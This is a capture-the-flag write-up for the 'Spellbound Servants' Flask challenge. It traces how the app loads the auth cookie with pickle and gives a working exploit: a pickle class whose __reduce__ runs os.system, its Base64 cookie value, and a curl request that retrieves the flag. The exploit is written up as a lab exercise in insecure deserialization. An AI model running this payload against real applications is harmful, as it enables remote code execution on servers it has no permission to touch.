Spellbound Servants
3 minutes to read
We are given the following website:
We also have the Python source code of the server (Flask).
First of all, we can register a new account and log in:
And we get to this dashboard:
There is no funcionality! So, let’s analyze the source code.
Source code analysis
These are the available endpoints (blueprints/routes.py
):
from application.database import *
from flask import Blueprint, redirect, render_template, request, make_response
from application.util import response, isAuthenticated
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/', methods=['GET', 'POST'])
def loginView():
return render_template('login.html')
@web.route('/register', methods=['GET', 'POST'])
def registerView():
return render_template('register.html')
@web.route('/home', methods=['GET', 'POST'])
@isAuthenticated
def homeView(user):
return render_template('index.html', user=user)
@api.route('/login', methods=['POST'])
def api_login():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login_user_db(username, password)
if user:
res = make_response(response('Logged In sucessfully'))
res.set_cookie('auth', user)
return res
return response('Invalid credentials!'), 403
@api.route('/register', methods=['POST'])
def api_register():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = register_user_db(username, password)
if user:
return response('User registered! Please login'), 200
return response('User already exists!'), 403
As can be seen, we only have the ability to register and log in. But notice that our username appears on the home page, so there is some kind of session management. Indeed, we have an auth
cookie:
This cookie is parsed in isAuthenticated
(util.py
):
def isAuthenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = request.cookies.get('auth', False)
if not token:
return abort(401, 'Unauthorised access detected!')
try:
user = pickle.loads(base64.urlsafe_b64decode(token))
kwargs['user'] = user
return f(*args, **kwargs)
except:
return abort(401, 'Unauthorised access detected!')
return decorator
Basically, the auth
cookie is a serialized object, which is deserialized with pickle
.
Solution
The key thing here is that we can control the cookie, so we can enter any pickle
payload and let the server deserialize it. It is well-known that deserializing untrusted pickle
payload is dangerous. In fact, we can craft the following pickle
payload:
$ python3 -q
>>> import base64, pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("cat /flag.txt > /app/application/static/flag.txt")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVZAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxIaW1wb3J0IG9zOyBvcy5zeXN0ZW0oImNhdCAvZmxhZy50eHQgPiAvYXBwL2FwcGxpY2F0aW9uL3N0YXRpYy9mbGFnLnR4dCIplIWUUpQu'
When pickle
tries to deserialize the above Base64 payload, it will run exec
and the embedded Python code (which runs a system command).
The above payload suffices to solve the challenge, as it will execute a system command to move the flag to a public web server directory. However, for more information about pickle
, you can also read HackTricks, baby website rick, TrapTrack, Pickle Panic or Sickle.
Flag
If we set the previous Base64-encoded pickle
payload as the auth
cookie and refresh, the flag will be moved to the static
directory:
So, we only need to make a web request to retrieve the flag:
$ curl 83.136.254.13:37486/static/flag.txt
HTB{sp3l1_0f_the_p1ckl3!}